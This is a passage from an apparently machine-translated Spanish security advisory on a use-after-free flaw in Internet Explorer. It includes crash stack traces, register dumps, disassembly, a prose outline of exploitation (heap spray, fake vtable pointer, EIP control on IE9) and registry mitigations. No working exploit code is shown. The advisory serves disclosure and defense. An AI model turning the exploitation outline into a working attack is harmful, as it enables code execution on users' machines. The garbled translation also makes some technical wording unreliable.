  515.   6d498701 MSHTML! CView :: EnsureViewCallback 0 x000000b8
  516.   6d5a9d09 MSHTML! GlobalWndOnMethodCall 0 x00000115
  517.   6d5c9368 MSHTML! GlobalWndProc 0 x00000302
  518.   7748c4e7 USER32! InternalCallWinProc 0 x00000023
  519.   7748c5e7 USER32! UserCallWinProcCheckWow 0 x0000014b
  520.   7748cc19 USER32! DispatchMessageWorker 0 x0000035e
  521.   7748cc70 USER32! DispatchMessageW 0 x0000000f
  522.   774a38d7 USER32! DialogBox2 0 x0000015a
  523.   774a3b27 USER32! InternalDialogBox 0 x000000cb
  524.   774ce0d5 USER32! SoftModalMessageBox 0 x0000068a
  525.   774ce659 USER32! MessageBoxWorker 0 x000002ca
  526.   774ce78c USER32! MessageBoxTimeoutW 0 x0000007f
  527.    ...
  528.  
  529. En este punto, un exploit totalmente desarrollado podría utilizar javascript
  530. reasignar y sobrescribir la memoria que había pertenecido a la
  531. ahora liberado CTreePos. Por el bien de este tutorial, basta
  532. dejar montón de páginas limpie la memoria liberada de las CTreePos con 0xF0.
  533.  
  534. Finalmente, una vez que el usuario cierra el cuadro de mensaje, la ejecución del
  535. interrumpir la descarga de la fuente y la página de códigos de representación continúa, pero la
  536. código de falla para anticipar que el estado del programa ha cambiado durante el
  537. Mensajes llamar. Un puntero en la pila de los CTreePos destruidas es
  538. eliminan las referencias, lo que resulta en una violación de acceso. El siguiente
  539. registro de descarga, desmontaje, y llamar a ilustrar pila, anuncio que EBX
  540. puntos de apilar memoria en la que un puntero a los CTreePos destruidas
  541. se tiene:
  542.  
  543.   Violación de acceso - código c0000005 (primera oportunidad)
  544.   eax = ebx = 005ba430 03b5c5c8 ecx = f0f0f0f0 edx = 03b5c540 esi = 00000000 edi = 00557840
  545.   eip = 6d47b5d7 esp = 03b5c450 ebp = 03b5c510 iopl = 0 nv hasta ei pl zr na pe nc
  546.   cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00010246
  547.   ! MSHTML CElement :: ComputeFormatsVirtual 0 x1a64:
  548.   6d47b5d7 0fbf4120 MOVSX eax, word ptr [ecx 20 h]
  549. ds: 0023: f0f0f110 =????
  550.  
  551.   6d47b5c5 8b03 mov eax, dword ptr [ebx]
  552.   6d47b5c7 8b8bd4000000 mov ecx, dword ptr [ebx 0 D4h]
  553.   6d47b5cd 89442420 mov dword ptr [esp 20 h], eax
  554.   6d47b5d1 894c242c mov dword ptr [esp 2 Ch], ecx
  555.   6d47b5d5 8b08 mov ecx, dword ptr [eax]
  556.   6d47b5d7 0fbf4120 MOVSX eax, word ptr [ecx 20 h]
  557.  
  558.   6d47a5a3 MSHTML! CElement :: ComputeFormatsVirtual 0 x1a64
  559.   6d47a4d6 MSHTML! CElement :: ComputeFormats 0 xe1
  560.   6d47bd39 MSHTML! CTreeNode :: ComputeFormats 0 Xba
  561.   6d482d33 MSHTML! CTreeNode :: ComputeFormatsHelper 0 x40
  562.   6d360862 MSHTML! CTreeNode :: GetFancyFormat 0 x32
  563.   6d2d910f MSHTML! CElement :: UpdateFormats 0 X426
  564.   6d4ce10f MSHTML! CControlledFormatter :: Init 0 XCC
  565.   6d47fa14 MSHTML! CElement :: OnPropertyChangeInternal 0 x3fa
  566.   6d49b76b MSHTML! CElement :: OnPropertyChange 0 x1b
  567.   6d2da8db MSHTML! BASICPROPPARAMS :: SetStringProperty 0 x36a
  568.   6d0084d6 MSHTML! CFastDOM :: CHTMLElement :: Trampoline_Set_className 0 x61
  569.   6d0cc04d JSCRIPT9! Js :: JavascriptFunction :: CallFunction 0 xc4
  570.   6d0cc968 JSCRIPT9! Js :: JavascriptExternalFunction :: ExternalFunctionThunk 0 x117
  571.   6d009a85 JSCRIPT9! Js :: JavascriptOperators :: DefinirPropiedad 0 x8c
  572.   6d009a2c JSCRIPT9! Js :: JavascriptOperators :: OP_SetProperty 0 x59
  573.   039507b8 JSCRIPT9! Js :: JavascriptOperators :: PatchPutValueNoLocalFastPath 0 XBC
  574.   6d0084d6 0x39507b8
  575.   6d0083fb JSCRIPT9! Js :: JavascriptFunction :: CallFunction 0 xc4
  576.   6d008332 JSCRIPT9! Js :: JavascriptFunction :: CallRootFunction 0 XB6
  577.   6d0082be JSCRIPT9! ScriptSite :: CallRootFunction 0 x4f
  578.   6d0cf12c JSCRIPT9! ScriptSite :: Execute 0 x63
  579.   6d4f24d1 JSCRIPT9! ScriptEngine :: Execute 0 X11A
  580.   6d4f23fb MSHTML! CListenerDispatch :: InvokeVar 0 x12a
  581.   6d54ce40 MSHTML! CListenerDispatch :: Invoke 0 x40
  582.   6d44e624 MSHTML! CEventMgr :: _InvokeListeners 0 x187
  583.   6d54cf37 MSHTML! CEventMgr :: _InvokeListenersOnWindow 0 XCC
  584.   6d5db67d MSHTML! CEventMgr :: Despacho 0 X3CC
  585.   6d53ba32 MSHTML! CEventMgr :: DispatchFocusEvent 0 x7d
  586.   6d5e6f74 MSHTML! COmWindowProxy :: Fire_onfocus 0 x84
  587.   6d5e6ff1 MSHTML! CAsyncEventQueue :: DispatchAllEvents 0 x7c
  588.   7748c4e7 MSHTML! GlobalWndProc 0 x2ed
  589.   7748c5e7 USER32! InternalCallWinProc 0 x23
  590.   7748cc19 USER32! UserCallWinProcCheckWow 0 x14b
  591.   7748cc70 USER32! DispatchMessageWorker 0 x35e
  592.   6e8e1b44 USER32! DispatchMessageW 0 xf
  593.   6e901a16 Ieframe! CTabWindow :: _TabWindowThreadProc 0 x722
  594.   Ieframe 759315b0! LCIETab_ThreadProc 0 X317
  595.   6e8efd5b Iertutil! CIsoScope :: RegisterThread 0 xab
  596.   75c4ed6c Ieframe! Detour_DefWindowProcA 0 x6c
  597.   773737f5 KERNEL32! BaseThreadInitThunk 0 xe
  598.   773737c8 NTDLL! __RtlUserThreadStart 0 x70
  599.   00000000 NTDLL! _RtlUserThreadStart 0 x1b
  600.  
  601.  
  602. EXPLOTACIÓN
  603. ------------
  604. La explotación de esta vulnerabilidad es típico de un básico
  605. use-after-free condición en Internet Explorer, en el que el exploit:
  606. (1) crea un objeto en el montón, (2) hace que el objeto a ser liberado
  607. mientras que las referencias a la misma persistir en otra parte, (3) reemplaza el contenido del
  608. la memoria de pila antes ocupado por el objeto con datos arbitrarios,
  609. y (4) hace que Internet Explorer para acceder a una referencia rancio a la
  610. liberado objeto. En una preparación de prueba de concepto exploit control de EIP
  611. focalización Internet Explorer 9 (32 bits), estos pasos se llevaron a cabo
  612. por: incluyendo dos anidados, llamado "div" elementos en el código HTML, modificando
  613. el exterior "div" elemento para destruir el interior "div" (mientras el correo
  614. mensaje de error del cliente está en la pantalla), la realización de una pila típica
  615. pulverizar para almacenar datos conocidos en una dirección conocida, y la creación de un gran
  616. número de bloques CTreePos montón de tamaño que contienen datos especialmente diseñados
  617. para llenar el hueco dejado por la libertad interior "div" elemento. El especialmente
  618. datos elaborados incluye un puntero vtable sustituto que hace referencia a
  619. datos rociados heap en una dirección rígida, otra característica típica de
  620. tales hazañas. El único paso que esta vulnerabilidad no se puede lograr
  621. enteramente por su cuenta está provocando que Internet Explorer para acceder a la
  622. rancia interior "div" elemento de referencia - este acceso se produce sólo después de la
  623. usuario cierra el cliente de correo de mensaje de error.
  624.  
  625.  
  626. MITIGACIÓN
  627. ----------
  628. Ajuste de las "Descargas" -> "Descarga de fuentes" configuración de seguridad para
  629. "Desactivar" ("HKEY_CURRENT_USER \ Software \ Microsoft \ CurrentVersion \ Internet
  630. Settings \ Zones \ <zone-identifier> "->" 1604 ": REG_DWORD =" 3 ") impide
  631. explotación de esta vulnerabilidad mediante la técnica actual.
  632.  
  633. Borrando, renombrando o negar el acceso de lectura a la
  634. "HKEY_LOCAL_MACHINE \ SOFTWARE \ Classes \ PROTOCOLOS \ Handler \ mailto"
  635. clave de registro (y
  636. "HKEY_LOCAL_MACHINE \ SOFTWARE \ Classes \ \ Wow6432Node PROTOCOLOS \ Handler \ mailto"
  637. según sea apropiado) también evita la explotación mediante el presente
  638. técnica, sin embargo, después de implementar la solución provisional, confirman que
  639. hacer clic en un "mailto:" que aparece en cualquier zona no muestra un cuadro de mensaje.
  640.  
  641.  
  642. CONCLUSIÓN
  643. ----------
  644. Este documento presenta una vulnerabilidad de larga vida en Internet Explorer
  645. que permite la ejecución de código arbitrario seguridad en caso de incumplimiento
  646. configuración. Aunque la explotación actual implica una cantidad modesta de
  647. la interacción del usuario y la notificación al usuario en la forma de un cliente de correo
  648. mensaje de error, el mensaje no es relacionada con la seguridad, y el mensaje
  649. caja no presentar al usuario una opción de abortar explotación.
  650.  La investigación adicional en la vulnerabilidad podría revelar otros medios de
  651. explotación que puede cambiar el mensaje presentado o reducir o
  652. eliminar la necesidad de interacción del usuario.
  653.  
  654.  
  655. SALUDOS
  656. ---------
  657. www.thetomatopizza.com
  658.  ^ La mejor pizza en cualquier lugar cerca de DFW, alimentación requerida para locales y remotos.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement